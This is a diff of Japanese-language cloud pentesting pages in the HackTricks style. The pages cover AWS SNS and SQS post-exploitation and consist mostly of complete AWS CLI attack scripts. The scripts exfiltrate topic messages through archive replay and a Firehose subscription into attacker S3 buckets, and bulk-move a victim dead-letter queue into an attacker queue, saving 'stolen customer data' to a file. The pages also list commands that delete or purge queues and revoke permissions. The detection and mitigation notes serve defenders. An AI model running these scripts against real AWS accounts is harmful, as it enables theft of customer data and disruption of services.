+<summary>End-to-end CLI POC (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## 影響
+**潜在的影響**: アーカイブが有効になっている SNS FIFO topic にサブスクライブでき、サブスクリプションで `ReplayPolicy` を設定できる攻撃者は、サブスクリプション作成後に送信されたメッセージだけでなく、そのトピックに公開された過去のメッセージを即座に再生して外部に持ち出すことができます。配信されたメッセージには SNS のエンベロープに `Replayed=true` フラグが含まれます。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md

@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+攻撃者が制御する Kinesis Data Firehose delivery stream を被害者の SNS standard topic に登録するために、Firehose サブスクリプションプロトコルを悪用します。サブスクリプションが設定され、必要な IAM ロールが `sns.amazonaws.com` を信頼するようになると、その後の通知はすべて最小限のノイズで攻撃者の S3 バケットに確実に書き込まれます。
+
+## Requirements
+- 攻撃者アカウントに S3 バケット、Firehose delivery stream、および Firehose が使用する IAM ロール を作成するための権限（`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy` など）。
+- 被害者の topic に対して `sns:Subscribe` できる能力（作成後にサブスクリプションロール ARN が提供される場合はオプションで `sns:SetSubscriptionAttributes`）。
+- 攻撃者プリンシパルのサブスクライブを許可するトピックポリシー（または攻撃者が既に同一アカウント内で操作している場合）。
+
+## Attack Steps (same-account example)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## クリーンアップ
+- SNS subscription、Firehose delivery stream、一時的な IAM roles/policies、および attacker S3 bucket を削除する。
+
+## 影響
+**潜在的な影響**: 最小限の運用フットプリントで、ターゲットとなる SNS topic に公開されたすべてのメッセージが継続的かつ永続的に attacker-controlled storage へ exfiltration される可能性がある。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+## Description
+
+SQS の message move task を悪用して、被害者の Dead-Letter Queue (DLQ) に蓄積されたすべてのメッセージを `sqs:StartMessageMoveTask` を使って攻撃者が管理するキューにリダイレクトし、窃取します。この手法は AWS の正当な message recovery 機能を悪用し、DLQ に長期間蓄積された機密データを流出させるものです。
+
+## What is a Dead-Letter Queue (DLQ)?
+
+Dead-Letter Queue は、メインのアプリケーションで正常に処理できなかったメッセージが自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
+- 処理できなかった機密なアプリケーションデータ
+- エラーの詳細やデバッグ情報
+- Personal Identifiable Information (PII)
+- API tokens、認証情報、その他のシークレット
+- 事業上重要なトランザクションデータ
+
+DLQ は失敗メッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、価値の高いターゲットとなります。
+
+## Attack Scenario
+
+**Real-world example:**
+1. **E-commerce application** が SQS を介して顧客注文を処理する
+2. **Some orders fail**（支払いの問題、在庫の問題など）で DLQ に移される
+3. **DLQ accumulates** 何週間・何ヶ月分もの失敗した注文が顧客データとともに蓄積される: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
+4. **Attacker gains access** 攻撃者が SQS 権限を持つ AWS 資格情報を入手する
+5. **Attacker discovers** DLQ に何千件もの機密データを含む失敗注文があることを発見する
+6. **Instead of trying to access individual messages**（個別メッセージにアクセスするのは遅く目立つため）、攻撃者は `StartMessageMoveTask` を使ってすべてのメッセージを自分のキューに一括転送する
+7. **Attacker extracts** 一度の操作で過去のすべての機密データを抽出する
+
+## Requirements
+- ソースキューは DLQ として設定されている必要があります（少なくとも1つのキューの RedrivePolicy に参照されていること）。
+- IAM 権限（侵害された被害者プリンシパルとして実行）:
+- ソース（DLQ）に対して: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`。
+- 宛先キュー: メッセージ配信の権限（例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー）。同一アカウント内の宛先では通常デフォルトで許可されていることが多い。
+- SSE-KMS が有効な場合: ソース CMK に対して `kms:Decrypt`、宛先 CMK に対して `kms:GenerateDataKey`, `kms:Encrypt`。
+
+## Impact
+ネイティブな SQS API を使用して、DLQ に蓄積された機密ペイロード（失敗イベント、PII、トークン、アプリケーションペイロード）を高速に流出させます。宛先キューのポリシーが被害者プリンシパルからの `SendMessage` を許可していれば、クロスアカウントでも機能します。
+
+## How to Abuse
+
+- 被害者の DLQ ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する。
+- 攻撃者が管理する宛先キューを作成または選択し、その ARN を取得する。
+- 被害者 DLQ から自分の宛先キューへ message move task を開始する。
+- 進行状況を監視するか、必要に応じてキャンセルする。
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: 攻撃者が AWS 資格情報を侵害し、ある e-commerce アプリケーションが失敗した顧客注文処理を含む DLQ を使用していることを発見した。
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **攻撃者が制御する宛先キューを作成する**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **一括メッセージの窃取を実行する**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **盗まれた機密データを収集する**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### クロスアカウントの注意点
+- 宛先キューには、被害者プリンシパルが `sqs:SendMessage` を実行できるようにするリソースポリシーが必要です（および、使用する場合は KMS のグラント/権限）。
+
+## なぜこの攻撃が効果的か
+
+1. **Legitimate AWS Feature**: 組み込みの AWS 機能を使用するため、悪意ある動作として検知されにくい
+2. **Bulk Operation**: 個別に遅くアクセスする代わりに、数千件のメッセージを素早く転送できる
+3. **Historical Data**: DLQs は数週間〜数か月にわたり機密データを蓄積する
+4. **Under the Radar**: 多くの組織は DLQ へのアクセスを綿密に監視していない
+5. **Cross-Account Capable**: 権限があれば攻撃者自身の AWS アカウントへ exfiltrate できる
+
+## 検出と防止
+
+### 検出
+疑わしい `StartMessageMoveTask` API 呼び出しを CloudTrail で監視する：
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### 対策
+1. **最小権限**: 必要なロールにのみ `sqs:StartMessageMoveTask` 権限を制限する
+2. **DLQsの監視**: 異常なDLQアクティビティに対して CloudWatch アラームを設定する
+3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可する SQS キューポリシーを注意深くレビューする
+4. **DLQsの暗号化**: 制限されたキー ポリシーを持つ SSE-KMS を使用する
+5. **定期的なクリーンアップ**: 機密データが DLQs に無期限に蓄積されないようにする

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -1,73 +0,0 @@
-# AWS - SQS ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信することで、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**潜在的影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-攻撃者はSQSキュー内のメッセージを受信、削除、または可視性を変更することができ、メッセージの損失、データの破損、またはそれらのメッセージに依存するアプリケーションのサービス中断を引き起こす可能性があります。
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、および影響を受けたメッセージに依存するアプリケーションのサービス中断。
-
-### `sqs:DeleteQueue`
-
-攻撃者は、SQSキュー全体を削除することができ、メッセージの損失を引き起こし、キューに依存するアプリケーションに影響を与える可能性があります。
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**潜在的な影響**: 削除されたキューを使用しているアプリケーションに対するメッセージの損失とサービスの中断。
-
-### `sqs:PurgeQueue`
-
-攻撃者はSQSキューからすべてのメッセージを消去することができ、メッセージの損失とそれらのメッセージに依存するアプリケーションの潜在的な中断を引き起こす可能性があります。
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**潜在的な影響**: 消去されたメッセージに依存するアプリケーションのメッセージ損失とサービス中断。
-
-### `sqs:SetQueueAttributes`
-
-攻撃者はSQSキューの属性を変更することができ、これによりそのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**潜在的な影響**: 設定ミスにより、パフォーマンスの低下、セキュリティの問題、または可用性の低下が発生する可能性があります。
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-攻撃者はSQSリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
-
-### `sqs:RemovePermission`
-
-攻撃者は、SQSキューに関連付けられたポリシーを削除することで、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能が妨げられる可能性があります。
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**潜在的な影響**: 権限の不正な削除により、キューに依存するアプリケーションの正常な機能が妨げられる。 
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md

@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+攻撃者は悪意のある、または不要なメッセージを SQS キューに送信し、データ破損を引き起こしたり、意図しない動作を誘発したり、リソースを枯渇させる可能性があります。
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**潜在的影響**: 脆弱性の悪用、データ破損、意図しない操作、またはリソースの枯渇。
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+attacker は SQS キュー内のメッセージを受信、削除、または可視性を変更でき、これによりそれらのメッセージに依存するアプリケーションでメッセージの消失、データ破損、またはサービスの中断が発生する可能性があります。
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**潜在的影響**: 機密情報の窃取、メッセージの損失、データの破損、および影響を受けたメッセージに依存するアプリケーションのサービス障害。
+
+### `sqs:DeleteQueue`
+
+攻撃者はSQSキュー全体を削除でき、メッセージの損失を引き起こし、キューに依存するアプリケーションに影響を及ぼす可能性があります。
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**潜在的影響**: 削除されたキューを使用するアプリケーションに対するメッセージの損失およびサービスの中断。
+
+### `sqs:PurgeQueue`
+
+攻撃者はSQSキューのすべてのメッセージを削除し、メッセージの損失やそれらのメッセージに依存するアプリケーションの中断を引き起こす可能性があります。
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**潜在的影響**: パージされたメッセージに依存するアプリケーションでメッセージの損失やサービスの中断が発生する可能性があります。
+
+### `sqs:SetQueueAttributes`
+
+攻撃者は SQS キューの属性を変更でき、それによってパフォーマンス、セキュリティ、可用性に影響を与える可能性があります。
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**潜在的影響**: 誤設定によりパフォーマンス低下、セキュリティ問題、または可用性の低下を招く可能性があります。
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+攻撃者はSQSリソースのタグを追加、変更、または削除でき、組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーを混乱させる可能性があります。
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Potential Impact**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
+
+### `sqs:RemovePermission`
+
+攻撃者は、SQS キューに関連付けられたポリシーを削除することで正当なユーザーやサービスの権限を取り消す可能性があります。これにより、そのキューに依存するアプリケーションの正常な動作が妨げられる可能性があります。
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**潜在的な影響**: アクセス許可の不正な削除により、キューに依存するアプリケーションの通常の動作が妨げられる可能性がある。
+
+### さらに SQS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 説明
+
+SQS の message move task を悪用して、被害者の Dead-Letter Queue (DLQ) に蓄積された全メッセージを `sqs:StartMessageMoveTask` を使って攻撃者管理のキューへリダイレクトし盗み出す手法です。この手法は AWS の正当なメッセージ回復機能を利用して、DLQ に時間とともに蓄積された機密データを exfiltrate します。
+
+## Dead-Letter Queue (DLQ) とは？
+
+Dead-Letter Queue は、メインアプリケーションがメッセージを正常に処理できなかった際に自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
+- 処理できなかった機密なアプリケーションデータ
+- エラーの詳細やデバッグ情報
+- Personal Identifiable Information (PII)
+- API トークン、認証情報、その他のシークレット
+- 業務上重要なトランザクションデータ
+
+DLQ は失敗したメッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、価値のあるターゲットになります。
+
+## 攻撃シナリオ
+
+**実世界の例：**
+1. **E-commerce アプリケーション** が SQS を介して顧客注文を処理している
+2. **一部の注文が失敗する**（支払い問題、在庫問題など）ため DLQ に移動される
+3. **DLQ に数週間〜数か月分の失敗した注文が蓄積される** — 例: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **攻撃者が AWS 資格情報を奪取**し、SQS の権限を得る
+5. **攻撃者が DLQ に数千件の機密データがあることを発見**する
+6. **個々のメッセージにアクセスしようとする代わりに**（遅く目立つため）、攻撃者は `StartMessageMoveTask` を使ってすべてのメッセージを自分のキューへ一括転送する
+7. **攻撃者は一度に** すべての過去の機密データを抽出する
+
+## 要件
+- ソースキューは DLQ として構成されている（少なくとも1つのキューの RedrivePolicy から参照されていること）。
+- IAM 権限（侵害された被害者プリンシパルで実行）:
+- ソース（DLQ）上: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`
+- 送信先キュー上: メッセージ配信の許可（例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー）。同一アカウント内の送信先では通常デフォルトで許可されていることが多い。
+- SSE-KMS が有効な場合: ソース CMK に対する `kms:Decrypt`、送信先 CMK に対する `kms:GenerateDataKey`, `kms:Encrypt`
+
+## 影響
+**潜在的影響**: ネイティブな SQS API を使って DLQ に蓄積された機密ペイロード（失敗イベント、PII、トークン、アプリケーションペイロードなど）を高速に exfiltrate できる。送信先キューポリシーが被害者プリンシパルからの `SendMessage` を許可していれば、クロスアカウントでも動作する。
+
+## 悪用手順
+
+- 被害者の DLQ ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する（どのキューでも可）。
+- 攻撃者が管理する送信先キューを作成または選択し、その ARN を取得する。
+- 被害者 DLQ から送信先キューへの message move task を開始する。
+- 進捗を監視するか、必要に応じてキャンセルする。
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: 攻撃者が AWS 資格情報を奪取し、e-commerce アプリケーションが SQS を使用しており、失敗した顧客注文処理が含まれる DLQ を持っていることを発見したケース。
+
+1) **被害者の DLQ を発見して調査する**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **攻撃者が制御する宛先キューを作成する**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **大量メッセージの窃取を実行する**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **盗まれた機密データを収集する**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### クロスアカウントの注意点
+- 宛先キューは、被害者プリンシパルが `sqs:SendMessage` を実行できるようにするリソースポリシー（および、使用する場合は KMS の付与/権限）を持っている必要があります。
+
+## なぜこの攻撃が効果的か
+
+1. **正規の AWS 機能**: 組み込みの AWS 機能を利用するため、悪意あるものとして検出されにくい
+2. **大量操作**: 個別に遅くアクセスする代わりに、何千ものメッセージを短時間で転送できる
+3. **履歴データ**: DLQ は数週間〜数ヶ月にわたって機密データを蓄積する
+4. **見過ごされやすい**: 多くの組織は DLQ へのアクセスを厳密に監視していない
+5. **クロスアカウント可能**: 権限があれば攻撃者自身の AWS アカウントへデータを持ち出すことができる
+
+## 検出と防止
+
+### 検出
+疑わしい `StartMessageMoveTask` API コールを CloudTrail で監視する:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### 対策
+1. **最小権限**: 必要なロールのみに`sqs:StartMessageMoveTask`権限を制限する  
+2. **DLQsの監視**: DLQsの異常なアクティビティに対してCloudWatchアラームを設定する  
+3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可するSQSキューのポリシーを慎重に確認する  
+4. **DLQsの暗号化**: 制限されたキー・ポリシーを持つSSE-KMSを使用する  
+5. **定期的なクリーンアップ**: 機密データがDLQsに無期限に蓄積されないようにする
+
+{{#include ../../../../banners/hacktricks-training.md}}

